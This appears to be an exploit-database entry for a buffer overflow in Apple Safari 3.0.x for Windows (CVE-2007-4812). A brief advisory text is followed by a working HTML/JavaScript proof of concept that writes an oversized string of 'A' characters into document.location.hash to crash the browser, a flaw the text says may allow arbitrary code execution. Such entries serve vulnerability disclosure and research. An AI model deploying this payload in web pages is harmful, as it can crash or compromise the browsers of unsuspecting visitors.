Apple Safari 3.0.x for Windows - 'Document.Location.Hash' Buffer Overflow

Related Vulnerabilities: CVE-2007-4812  
Publish Date: 25 Jun 2007
Author: Azizov E
                							

                source: http://www.securityfocus.com/bid/26448/info

Safari for Windows is prone to a buffer overflow that occurs when an attacker entices a victim to view a maliciously crafted webpage.

A remote attacker may exploit this issue to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will result in denial-of-service conditions. 

<html> <body> <script> var maxbuf = 65474; buff = "A"; for (i=0;i<maxbuf;i++) { buff = buff+"A"; } document.location.hash = buff+"BOW! "; alert(document.location.hash); </script> </body> </html>